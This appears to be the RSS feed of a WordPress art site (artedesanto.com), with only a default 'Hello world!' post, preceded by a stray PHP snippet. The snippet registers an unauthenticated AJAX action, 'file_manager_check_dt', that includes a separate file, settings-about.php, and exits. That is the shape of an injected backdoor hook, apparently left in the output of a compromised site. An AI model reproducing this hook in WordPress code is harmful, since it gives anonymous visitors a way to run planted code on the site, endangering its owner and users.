if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
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	<link>https://artedesanto.com</link>
	<description>Luca Elio De Santo Art</description>
	<lastBuildDate>Tue, 12 Apr 2016 20:42:15 +0000</lastBuildDate>
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		<title>Hello world!</title>
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		<dc:creator><![CDATA[elio]]></dc:creator>
		<pubDate>Tue, 12 Apr 2016 20:42:15 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">http://artedesanto.com//?p=1</guid>

					<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start writing!]]></description>
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